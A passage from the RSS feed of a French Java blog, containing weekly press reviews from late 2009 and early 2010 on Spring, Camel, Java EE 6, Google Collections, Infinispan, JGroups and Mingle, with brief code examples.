name="Conclusion"></a>Conclusion</h3><p>Comme nous venons de le voir, il existe de nombreux moyens pour séparer nos différents types de tests. Attention cependant à ne pas utiliser cette technique pour masquer les test gênants. Si vous avez des soucis avec certains tests, mieux vaut s&#8217;attaquer à la source même du problème plutôt qu&#8217;à ses conséquences. De plus, cette séparation doit être une aide aux développeurs uniquement, il est primordial de demander au serveur d&#8217;intégration continue de lancer l&#8217;intégralité des tests. Ou bien de le paramétrer avec deux builds : un à la volée très rapide et un exécuté une fois par jour qui lancera l&#8217;intégralité des tests.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/01/13/comment-separer-ses-tests-dintegrations/feed/</wfw:commentRss> <slash:comments>10</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/</link> <comments>http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#comments</comments> <pubDate>Mon, 04 Jan 2010 19:12:31 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Camel]]></category> <category><![CDATA[Impala]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JEE]]></category> <category><![CDATA[OSGi]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring Integration]]></category> <category><![CDATA[Spring ROO]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3702</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. SOA Spring Integration et Apache Camel : 2 ESB lightweight en action Le coin de la technique Impala, la modularité pour Spring sans OSGi La définition de DataSources dans JEE 6 Les google-collections sont finales ! Spring Roo en 1.0.0 pour terminer l&#8217;année SOA [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#SpringIntegrationetApacheCamel">Spring Integration et Apache Camel : 2 ESB <em>lightweight</em> en action</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#ImpalalamodularitpourSpringsan">Impala, la modularité pour Spring sans OSGi</a></li><li><a
href="http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#LadfinitiondeDataSourcesdansJE">La définition de <em>DataSources</em> dans JEE 6</a></li><li><a
href="http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#Lesgooglecollectionssontfinale">Les google-collections sont finales !</a></li><li><a
href="http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/#SpringRooenpourterminerlanne">Spring Roo en 1.0.0 pour terminer l&#8217;année</a></li></ul><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SpringIntegrationetApacheCamel"></a>Spring Integration et Apache Camel : 2 ESB <em>lightweight</em> en action</h4><p>La mouvance SOA a amené un certain nombre de produits classifiés comme ESB (<em>Enterprise Service Bus</em>) dont le but est de répondre aux problématiques d&#8217;intégration courantes en entreprise. Dans un premier temps, ces produits prenaient la forme de <em>middlewares</em> très lourds dont la mise en œuvre devait être justifiée par des besoins importants. Il y a deux ans, <a
title="nous assistions  lavnement" href="http://blog.xebia.fr/2007/12/17/spring-integration-lavenement-des-lightweight-esb/">nous assistions à l&#8217;avènement</a> d&#8217;ESB qualifiés de <em>lightweight</em> car ils prenaient la forme de <em>frameworks</em> moins gourmands en ressources et plus simples à utiliser. Spring Integration et Apache Camel sont les deux principales options à envisager en matière d&#8217;ESB léger.</p><p>C&#8217;est justement de l&#8217;utilisation de chacun de ces deux <em>frameworks</em> que discute <a
title="larticle que vient de publier Biju Kunjummen" href="http://java.dzone.com/articles/spring-integration-and-apache">l&#8217;article que vient de publier Biju Kunjummen</a>. Il y propose une problématique d&#8217;intégration qui consiste en l&#8217;exposition d&#8217;un service qui, lorsqu&#8217;il est invoqué, entraîne l&#8217;invocation multiple d&#8217;un même service de bas niveau via l&#8217;utilisation d&#8217;un pattern <em>splitter</em> sur la requête et d&#8217;un pattern <em>aggregator</em> sur la réponse. Les deux <em>frameworks</em> offrent nativement ce type d&#8217;EIP (<em>Enterprise Intergration Pattern</em>).</p><p>Aucun favori ne se démarque clairement dans la comparaison entre ces deux implémentations : Spring Integration vient s&#8217;intégrer naturellement à l&#8217;<em>Application Context</em> de Spring en reprenant le même type de structure de définition XML, tandis qu&#8217;Apache Camel, bien qu&#8217;offrant également la possibilité d&#8217;une configuration XML, sera surtout apprécié pour son DSL Java permettant la définition des routes d&#8217;intégration.</p><p>Le lecteur intéressé par ces deux <em>frameworks</em> pourra se tourner, au-delà des documentations respectives, vers les deux livres en préparation chez l&#8217;éditeur Manning, <a
title="Spring Integration in Action" href="http://manning.com/fisher/">Spring Integration in Action</a> et <a
title="Camel in Action" href="http://manning.com/ibsen/">Camel in Action</a>, prévus pour l&#8217;été prochain.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="ImpalalamodularitpourSpringsan"></a>Impala, la modularité pour Spring sans OSGi</h4><p>La modularité est un sujet porteur en ce moment, tant du côté du JDK avec Jigsaw, que du côté Java Entreprise avec OSGi dont le principal acteur actuellement est sans conteste SpringSource avec Spring Dynamic Modules et son serveur d&#8217;application associé Spring dm Server.</p><p>Phil Zoio <a
title="a été interviewé il y a peu" href="http://osgi.dzone.com/articles/impala-alternative-module">a été interviewé il y a peu</a> pour présenter le projet Open Source qu&#8217;il a fondé : <a
title="Impala" href="http://code.google.com/p/impala/">Impala</a>. Il s&#8217;agit d&#8217;une vision différente de la modularité pour applications d&#8217;entreprise. Ainsi, Impala repose sur Spring, tout comme Spring Dynamic Modules, mais contrairement à ce dernier, il n&#8217;utilise pas OSGi et adopte une stratégie radicalement différente : il constitue lui-même des modules encapsulant chacun un <em>application context</em> qui déclare un certain nombre de <em>beans</em>. La solution de modularité ainsi produite offre tout comme OSGi un fonctionnement dynamique permettant le chargement à chaud de nouveaux modules.</p><p>Dans un climat où beaucoup s&#8217;interrogent sur la potentielle lourdeur d&#8217;OSGi, ce type d&#8217;initiative proposant une solution alternative plus simple face au standard prend tout son sens et n&#8217;est pas sans rappeler l&#8217;offensive de <em>Spring Framework</em> lui-même, il y a quelques années, face au contesté standard EJB.</p><h4><a
name="LadfinitiondeDataSourcesdansJE"></a>La définition de <em>DataSources</em> dans Java EE 6</h4><p>Matt Corey <a
title="poste cette semaine un article" href="http://smokeandice.blogspot.com/2009/12/datasourcedefinition-hidden-gem-from.html">poste cette semaine un article</a> mettant en avant une facilité rarement (jamais ?) évoquée de Java EE 6 : la configuration des sources de données par annotation. En effet, si la nouvelle spécification de Sun est largement couverte depuis des mois, y compris sur notre blog, il est en général question des nouveautés qui retiennent le plus l&#8217;attention telles que les <em>beans</em> singletons d&#8217;EJB 3.1, l&#8217;API <em>query builder</em> de JPA 2.0 ou encore ses nouveaux modèles de composants.</p><p>En fait il s&#8217;agit d&#8217;une standardisation de la technique de configuration des sources de données dans les serveurs d&#8217;application Java EE. Cette définition était en effet jusqu&#8217;alors un détail d&#8217;implémentation des serveurs et n&#8217;était donc pas portable. Cette configuration peut donc maintenant se faire par l&#8217;annotation <a
title="DataSourceDefinition" href="http://java.sun.com/javaee/6/docs/api/javax/annotation/sql/DataSourceDefinition.html"><code>@DataSourceDefinition</code></a> ce qui évite ainsi l&#8217;utilisation de XML et va donc dans le sens de la logique initiée depuis Java EE 5. L&#8217;exemple suivant permet de mieux se rendre compte de son utilisation :</p><pre class="brush: java; title: ; notranslate">
@DataSourceDefinition (
className=&quot;org.apache.derby.jdbc.ClientDataSource&quot;,
name=&quot;java:global/jdbc/AppDB&quot;,
serverName=&quot;localhost&quot;,
portNumber=1527,
user=&quot;user&quot;,
password=&quot;password&quot;,
databaseName=&quot;dev-db&quot;
)
public class Config {
...
}
</pre><p>Si tout le monde n&#8217;appréciera pas forcément d&#8217;avoir recours à une annotation pour ce type de configuration, les projets souhaitant distribuer des <code>war</code> ou <code>ear</code> portables qui se connectent à une base de données embarquée ou locale devraient en revanche y trouver leur compte.</p><h4><a
name="Lesgooglecollectionssontfinale"></a>Les google-collections sont finales !</h4><p>Annoncée sur la <a
title="&lt;i&gt;users list&lt;/i&gt;" href="http://groups.google.com/group/google-collections-users/browse_thread/thread/8001013ee996b3c9?pli=1"><em>users list</em></a> du projet, l&#8217;API <a
title="google-collections" href="http://code.google.com/p/google-collections/">google-collections</a> passe en version <a
title="finale 10" href="http://code.google.com/p/google-collections/downloads/list">finale 1.0</a>.<br
/> Pour ceux qui ne connaissent pas encore cette API de collections <em>type-safe</em>, rendez-vous sur <a
title="cette page" href="http://bwinterberg.blogspot.com/2009/09/introduction-to-google-collections.html">cette page</a> pour une introduction à la librairie.</p><p>La finalisation de Google Collections constitue un changement majeur dans l&#8217;environnement des développeurs Java. En effet Apache Commons Collections constituait jusqu&#8217;alors le principal complément à l&#8217;API de base du JDK. Or, la librairie de la fondation Apache est vieillissante et ne propose toujours pas les <em>generics</em> de Java 5. Google Collection se positionne donc ni plus ni moins que comme un remplaçant.</p><p>La <a
title="FAQ" href="http://code.google.com/p/google-collections/wiki/Faq">FAQ</a> répondra à bon nombre de questions que l&#8217;on peut se poser sur cette API notamment sur les raisons qui ont poussé Google à créer sa propre API plutôt que de contribuer à Commons Collections.</p><p>Enfin on notera que Google Collections sera intégré à <a
href="http://code.google.com/p/guava-libraries/">Guava</a> sous peu pour constituer la librairie d&#8217;extension du JDK de Google.</p><p>De par la nature de ces APIs, Google Collections et Guava peuvent également constituer un premier pas vers la programmation <em>un peu</em> plus orientée fonctionnelle. A ce sujet, il est aussi possible de regarder du côté de <a
title="lambdaj" href="http://code.google.com/p/lambdaj/">lambdaj</a>, une API de parcours de collections sans boucle explicite. Et pour ceux qui souhaitent aller encore plus loin, rendez-vous sur <a
title="functionaljava" href="http://functionaljava.org/">functional.java</a> ou  tournez vous vers la préparation des <em>closures</em> dans Java.</p><h4><a
name="SpringRooenpourterminerlanne"></a>Spring Roo en 1.0.0 pour terminer l&#8217;année</h4><p>Encore une <em>release</em> pour Spring pour clôturer en beauté l&#8217;année 2009. Bravo!<br
/> <a
title="Spring Roo" href="http://www.springsource.org/roo">Spring Roo</a>, 8 mois après sa première version alpha, vient de sortir en <a
title="100" href="https://jira.springsource.org/browse/ROO#selectedTab=com.atlassian.jira.plugin.system.project%3Achangelog-panel">1.0.0</a>. Roo, en quelques mots, permet de développer des applications plus rapidement en générant et maintenant, tout au long des développements, une partie importante du code source (du POJO à la JSP).<br
/> Un effort a été mis sur la documentation qui a intégré un tutoriel et les commandes. La seule partie encore en travaux est le chapitre 3, celle qui concerne le fonctionnement interne de ROO. Cette partie permet entre autres d&#8217;avoir les bases pour développer des extensions.<br
/> En standard, Roo propose déjà des extensions, comme par exemple les fonctionnalités de sécurité, basées sur Spring Security et des flows avec Spring Webflow.</p><p>Spring Roo présente un formidable intérêt pédagogique, car il s&#8217;appuie systématiquement sur les toutes dernières versions des jars de Spring et d&#8217;Hibernate.<br
/> On peut par contre trouver peu commode son mécanisme interne qui se base sur la technologie AspectJ. Son principe est de générer les méthodes de classe en se basant sur des fichiers d&#8217;aspects. Jusqu&#8217;à présent, notre expérience avec Spring Roo a montré que cela ne fonctionnait pas de manière complètement transparente pour le développeur, même avec l&#8217;Eclipse de SpringSource (<a
title="STS" href="http://www.springsource.com/products/sts">STS</a>). Cette limitation pourra donc dissuader certaines équipes de partir sur un projet avec ROO tout au long des développements.</p><p>Voici sur Slideshare, les deux présentations mises en ligne par le <em>leader</em> du projet, Ben Alex:</p><ul><li><a
title="Introduction To Spring Roo 100" href="http://www.slideshare.net/benalexau/introduction-to-spring-roo-100-2805183">Introduction To Spring Roo 1.0.0</a></li><li><a
title="Spring Roo 100 Technical Deep Dive" href="http://www.slideshare.net/benalexau/spring-roo-100-technical-deep-dive">Spring Roo 1.0.0 Technical Deep Dive</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/01/04/revue-de-presse-xebia-141/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/</link> <comments>http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/#comments</comments> <pubDate>Mon, 28 Dec 2009 19:02:30 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Cloud Computing]]></category> <category><![CDATA[EC2]]></category> <category><![CDATA[GAE]]></category> <category><![CDATA[GlassFish]]></category> <category><![CDATA[Hibernate]]></category> <category><![CDATA[IBM]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[JEE]]></category> <category><![CDATA[JEE6]]></category> <category><![CDATA[JGroups]]></category> <category><![CDATA[JPA]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring Security]]></category> <category><![CDATA[Sun]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3665</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Le meilleur de The Server Side Le coin de la technique Spring Security seulement un alignement sur Spring 3.0 ? Tour d&#8217;horizon de JBoss Infinispan JGroups à l&#8217;heure du Cloud Computing Actualité éditeurs / SSII Le meilleur de The Server [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/#LemeilleurdeTheServerSide">Le meilleur de The Server Side</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/#SpringSecurityseulementunalign">Spring Security seulement un alignement sur Spring 3.0 ?</a></li><li><a
href="http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/#TourdhorizondeJBossInfinispan">Tour d&#8217;horizon de JBoss Infinispan</a></li><li><a
href="http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/#JGroupslheureduCloudComputing">JGroups à l&#8217;heure du Cloud Computing</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="LemeilleurdeTheServerSide"></a>Le meilleur de The Server Side</h4><p>Avec les fêtes vient le temps des rétrospectives. Et c&#8217;est TheServerSide qui ouvre le bal, avec son hit parade des neuf fils de discussion les plus vus en 2009. Sans surprise, on retrouve quelques stars de l&#8217;année, dont la popularité ne devrait pas faiblir en 2010 : <a
title="JavaEE 6" href="http://www.theserverside.com/news/thread.tss?thread_id=53459">JavaEE 6</a> et <a
title="Glassfish 3" href="http://www.theserverside.com/news/thread.tss?thread_id=58858">Glassfish 3</a>, la persistance (<a
title="JPA" href="http://www.theserverside.com/news/thread.tss?thread_id=53142">JPA</a>, <a
title="les caches d'Hibernate" href="http://www.theserverside.com/news/thread.tss?thread_id=53716">les caches d&#8217;Hibernate</a>, <a
title="la démarcation transactionnelle avec Spring" href="http://www.theserverside.com/news/thread.tss?thread_id=53529">la démarcation transactionnelle avec Spring</a>)&#8230; Mais aussi les buzz de l&#8217;année : <a
title="Google App Engine" href="http://www.theserverside.com/news/thread.tss?thread_id=54215">Google App Engine</a>, <a
title="les langages next-gen" href="http://www.theserverside.com/news/thread.tss?thread_id=55185">les langages next-gen</a>&#8230; On trouve ensuite un grand article communautaire, <a
title="sur ce que doit savoir un architecte applicatif" href="http://www.theserverside.com/news/thread.tss?thread_id=53819">sur ce que doit savoir un architecte applicatif</a>.<br
/> Enfin, et nous devons bien avouer qu&#8217;à la vue des évènements passés, cela prête à sourire, un très beau fil de prospective : <a
title="IBM parle de racheter Sun" href="http://www.theserverside.com/news/thread.tss?thread_id=54007">IBM parle de racheter Sun</a>.</p><p>Cette première rétrospective reflète pour nous bien les tendances de l&#8217;année passée : pas mal de grandes manœuvres chez les éditeurs, des <em>concurrents</em> à Java de plus en plus présent, un nouvelle spécification très attendue, et des frameworks incontournables qui continuent à mener la danse.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="SpringSecurityseulementunalign"></a>Spring Security seulement un alignement sur Spring 3.0 ?</h4><p>Dans la foulée de la sortie de la version 3 de Spring Framework, c&#8217;est au tour de Spring Security de faire <a
title="son annonce" href="http://www.springsource.org/node/2271">son annonce</a>. Le point le plus marquant de cette version est l&#8217;utilisation du Spring Expression Language pour décrire les règles de contrôle d&#8217;accès qui simplifieront des vérifications simples comme <code>@PreAuthorize("#contact.name == principal.name)")</code> et surtout, couplé à des classes java transverses de sécurité, permettra d&#8217;effectuer élégamment des contrôles déclaratifs sophistiqués tels que :</p><pre class="brush: java; title: ; notranslate">
@PreAuthorize(&quot;isPhysician(#patientFile.patient)&quot;)
public void create(PatientFile patientFile);
</pre><p>Bien sûr, il faudra programmer la méthode <code>isPhysician()</code>, Spring Security ne se substituera pas au code métier de votre application, il sera juste une aide précieuse <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .<br
/> Nous noterons au passage que l&#8217;<em>Expression Language</em> apporte à l&#8217;<em>Aspect Oriented Programming</em> le haut niveau d&#8217;abstraction qui permet de programmer des fonctionnalités métiers transverses sans être un spécialiste de la plomberie <code>ProceedingJoinPoint</code> et autres joyeusetés. L&#8217;AOP devient alors beaucoup plus accessible pour les développeurs d&#8217;informatique de gestion.</p><p>Les autres nouveautés que nous garderons en tête : des contrôles pré et post traitement (<code>@PreAuthorize</code> et <code>@PostAuthorize</code>), la restructuration des jars similaire à celle que Spring 2.5 a connu, et une clarification des règles de redirection post authentification.</p><h4><a
name="TourdhorizondeJBossInfinispan"></a>Tour d&#8217;horizon de JBoss Infinispan</h4><p>Le projet <a
title="Infinispan" href="http://www.jboss.org/infinispan.html">Infinispan</a> a été <a
title="initié en milieu d'année 2009" href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#JBossveutsonDataGrid">initié en milieu d&#8217;année 2009</a> chez JBoss. Il s&#8217;agit d&#8217;une évolution de <a
title="JBoss Cache" href="http://www.jboss.org/jbosscache/">JBoss Cache</a> d&#8217;un simple cache vers un DataGrid.</p><p>Dans le <a
title="dernier pisode en date de JBoss Asylum" href="http://asylum.libsyn.com/index.php?post_id=562565">dernier épisode en date de JBoss Asylum</a>, le podcast dédié à la communauté JBoss maintenu par Emmanuel Bernard et Max R Andersen, Mark Surtani, <em>leader</em> du projet Infinispan, était invité pour parler de son projet. Il a pu faire un tour d&#8217;horizon global en commençant par le lien entre JBoss Cache et Infinispan :</p><ul><li>Contrairement à JBoss Cache qui utilisait une organisation arborescente, Infinispan se base uniquement sur une structure clé-valeur à plat.</li><li>Tout comme le faisait JBoss Cache, Inifinispan utilise JGroups pour assurer la découverte de ses instances.</li><li>Une API d&#8217;adaptation permettra d&#8217;assurer la transition entre JBoss Cache et Infinispan, notamment en offrant une arborescence au dessus de la structure de base d&#8217;Infinispan. Des outils seront fournis afin de migrer les fichiers de configuration.</li></ul><p>Manik Surtani a également abordé les fonctionnalités à venir, après la finalisation de la première version, dévoilant ainsi les ambitions de positionnement de ce produit :</p><ul><li>Utilisation de Lucene pour offrir une API de requêtes puissante permettant des recherches dans le DataGrid. Plusieurs possibilités d&#8217;architecture ont été évoquées telles que la réplication d&#8217;un index complet sur l&#8217;ensemble des noeuds ou la distribution de <em>shards</em> de l&#8217;index complet sur les noeuds via l&#8217;utilisation d&#8217;un <code>InfinispanDirectory</code> pour Lucene, actuellement en cours de développement.</li><li>Intégration éventuelle avec Hibernate Search. Infinispan se substituerait à Hibernate Core et Hibernate Search lui apporterait alors la fonctionnalité de recherche.</li><li>Possibilité d&#8217;effectuer des <em>continuous requests</em> pour que les résultats d&#8217;une requête s&#8217;enrichissent au fur et a mesure de l&#8217;arrivée de données sur la grille.</li><li>API de MapReduce permettant de soumettre un <code>Callable</code> et un ensemble de clés d&#8217;objets sur lesquels doivent s&#8217;appliquer le traitement pour obtenir un <code>Future</code> représentant le résultat, à venir, après opération de réduction.</li></ul><p>La plupart des fonctionnalités évoquées sont présentes dans les produits commerciaux que sont <a
title="Oracle Coherence" href="http://www.oracle.com/technology/products/coherence/index.html">Oracle Coherence</a> ou <a
title="IBM eXtreme Scale" href="http://www.ibm.com/software/webservers/appserv/extremescale/">IBM eXtreme Scale</a>. Toutefois, de telles possibilités seraient inédites dans un produit Open Source ce qui devrait faire d&#8217;Inifinispan un produit très intéressant à suivre en 2010&#8230;</p><h4><a
name="JGroupslheureduCloudComputing"></a>JGroups à l&#8217;heure du Cloud Computing</h4><p>JGroups est un <em>framework</em> permettant la communication au sein d&#8217;un groupe de serveurs. Actuellement développé au sein de JBoss, il est à la base de nombreux <em>middlewares</em> et frameworks d&#8217;entreprise permettant un fonctionnement distribué tels que JBoss Cache ou plus récemment Infinispan.</p><p>Après un an sans mise à jour majeure, Bela Ban, <em>leader</em> du projet, <a
title="annonce la version 28" href="http://belaban.blogspot.com/2009/12/jgroups-280ga-released.html">annonce la version 2.8</a>. Outre de nombreuses évolutions améliorant la flexibilité de JGroups, un apport notable s&#8217;est glissé dans la liste : le support d&#8217;Amazon EC2. Il s&#8217;agit là d&#8217;une nouveauté emblématique de cette année 2009 qui va se conclure ; la majorité des <em>frameworks</em> cherche à afficher une compatibilité voire une synergie avec les environnements de Cloud Computing courant.<br
/> En pratique, cette intégration de JGroups à EC2 se fait par l&#8217;ajout d&#8217;un nouveau protocole de découverte de voisinage nommé S3_PING. Comme son nom l&#8217;indique, il utilise un stockage S3 commun dans lequel tous les membres d&#8217;un groupe écrivent leurs coordonnées. Ce mécanisme est particulièrement bien adapté à EC2 qui, de part la topologie réseau qu&#8217;il offre, ne permet pas le <em>multicasting</em> et n&#8217;est guère adapté aux autres protocoles de découvertes qui existaient jusqu&#8217;alors dans JGroups.</p><p>Notons tout de même que la principale nouveauté de cette version 2.8 est l&#8217;ajout du concept d&#8217;adresse logique que Bela Ban <a
title="presentait il y a quelques mois" href="http://belaban.blogspot.com/2009/02/whats-cool-about-logical-addresses.html">présentait il y a quelques mois</a>. Une adresse logique permet de découpler l&#8217;identité d&#8217;un nœud JGroups de son adresse réseau ; l&#8217;association entre adresse logique et physique est résolue lors de la découverte des nœuds. Outre le découplage offert par ce concept, ces adresses permettent également de simplifier la gestion des pertes de messages lors de la ré-incarnation d&#8217;un nœud suite a son indisponibilité temporaire.</p><p>10 ans après sa création, JGroups continue donc de se maintenir à jour et, dans la mesure où il remplit toujours parfaitement son rôle, il devrait rester présent encore des années dans plusieurs <em>middlewares</em> et <em>frameworks</em> majeurs.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/12/28/revue-de-presse-xebia-140/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139/</link> <comments>http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139/#comments</comments> <pubDate>Mon, 21 Dec 2009 20:25:00 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Kanban]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Mingle]]></category> <category><![CDATA[OpenJDK]]></category> <category><![CDATA[SCRUM]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring 3.0]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3595</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Thoughtworks murmure la sortie de Mingle 3.0 Spring 3.0 enfin finalisé ! Agilité Quand le ScrumMaster est un obsctacle Kanban ou Scrum ? Kanban et Scrum ! SOA Gouvernance implicite et explicite dans une SOA Le coin de la technique [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#ThoughtworksmurmurelasortiedeM">Thoughtworks murmure la sortie de Mingle 3.0</a></li><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#Springenfinfinalis">Spring 3.0 enfin finalisé !</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#QuandleScrumMasterestunobsctac">Quand le ScrumMaster est un obsctacle</a></li><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#KanbanouScrumKanbanetScrum">Kanban ou Scrum ? Kanban et Scrum !</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#Gouvernanceimpliciteetexplicit">Gouvernance implicite et explicite dans une SOA</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/12/21/revue-de-presse-xebia-139#LesoptimisationssesuccdentsurO">Les optimisations se succèdent sur OpenJDK 7</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="ThoughtworksmurmurelasortiedeM"></a>Thoughtworks murmure la sortie de Mingle 3.0</h4><p><a
href="http://www.thoughtworks-studios.com" title="Thoughtworks Studios" >Thoughtworks Studios</a>, la partie éditeur de logiciels de Thoughtworks, <a
href="http://www.thoughtworks-studios.com/mingle-agile-project-management/mingle-releasing-with-murmurs" title="annonce la sortie" >annonce la sortie</a> d&#8217;une nouvelle version majeure de son outil de gestion de projet agile : <a
href="http://www.thoughtworks-studios.com/mingle-agile-project-management" title="Mingle" >Mingle</a>.</p><p>&laquo;&nbsp;Les nouvelles fonctionnalités de Mingle 3.0 permettent de transformer des échanges non structurés en mine d&#8217;informations à utiliser pour le développement&#8230;&nbsp;&raquo; annonce Chad Wathington (vice président de Thoughtworks Studios) :</p><ul><li>Amélioration de la collaboration à l&#8217;intérieur de l&#8217;équipe : Mingle intègre une nouvelle plate-forme de communication appelée Murmurs.</li></ul><p>Les échanges informels (du type messages instantanés ou emails) autour du développement d&#8217;une fonctionnalité sont associés en temps réel à une card Mingle. Ainsi tous les échanges sont conservés et aucune information n&#8217;est perdue dans les différents canaux de communication. L&#8217;intégration avec <a
href="http://fr.wikipedia.org/wiki/Jabber" title="Jabber Chat" >Jabber Chat</a> est fournie.</p><ul><li>Une fonctionnalité autour de la collaboration fait effet d&#8217;annonce. Thougtworks Studios propose une intégration avec le tout dernier moyen d&#8217;échanger des informations : <a
href="http://blog.xebia.fr/2009/11/20/pourquoi-tant-de-vagues-autour-de-google-wave/" title="Google Wave" >Google Wave</a>. Il sera alors possible de manipuler des cards (créer, changer de statuts&#8230;) directement depuis une Wave et de référencer du contenu de Wave pour le retrouver directement dans Mingle. Attention cependant, cette fonctionnalité sera seulement disponible courant 2010 (les bas de page sont, dans ce cas, à lire attentivement).</li></ul><p>Les autres évolutions apportent de la flexibilité et des outils pour les grosses structures :</p><ul><li>Pour le <em>reporting</em> et l&#8217;extraction de données, cette version fournit au manager une vision agrégée et multi-projets pour faciliter par exemple l&#8217;affectation des ressources ou encore la copie de Cards entre différents projets.</li><li>Dans la même voie, Mingle améliore sa boite à outils de développement de macro afin de proposer la recherche de données multi-projets ainsi qu&#8217;une macro d&#8217;exemple.</li><li>Mingle 3.0 supporte dorénavant le <em>clustering</em> pour les organisations de grosse taille.</li><li>Amélioration de l&#8217;intégration avec des applications extérieures en fournissant des API plus complètes pour manipuler les données de Mingle et une mise à jour du connecteur Subversion pour supporter la version 1.6.5</li></ul><p>Mingle est déjà mature en version 2.3.1, et il se présente comme un des meilleurs outils de gestion de projet agile (gestion façon Kanban des user stories, customisation du <em>workflow</em> de développement, extraction de données simple, <em>reporting</em>&#8230;).<br
/> En tant qu&#8217;utilisateurs de Mingle, l&#8217;agrégation des échanges informels nous semble cependant une avancée intéressante : ils deviennent un canal privilégié d&#8217;échange (surtout dans dans le cadre d&#8217;équipes distribuées) et sont souvent à l&#8217;origine de bonnes idées. En assurer le suivi et l&#8217;indexation au sein de l&#8217;outil principal de gestion du projet apporte indubitablement de la valeur ajoutée.</p><h4><a
name="Springenfinfinalis"></a>Spring 3.0 enfin finalisé !</h4><p>Deux mois après un communiqué de presse <a
href="http://blog.xebia.fr/2009/10/19/revue-de-presse-xebia-130/#SpringOneGXcestpartipourSpring" title="qui avait semé la confusion" >qui avait semé la confusion</a> lors de la conférence SpringOne G2X, <a
href="http://blog.springsource.com/2009/12/16/spring-framework-3-0-goes-ga/" title="SpringSource a finalement livr la version finale du framework Spring 30" >SpringSource a finalement livré la version finale du framework Spring 3.0</a>. Cette version se rapproche des standards Java, ou les standards se rapprochent de Spring <img
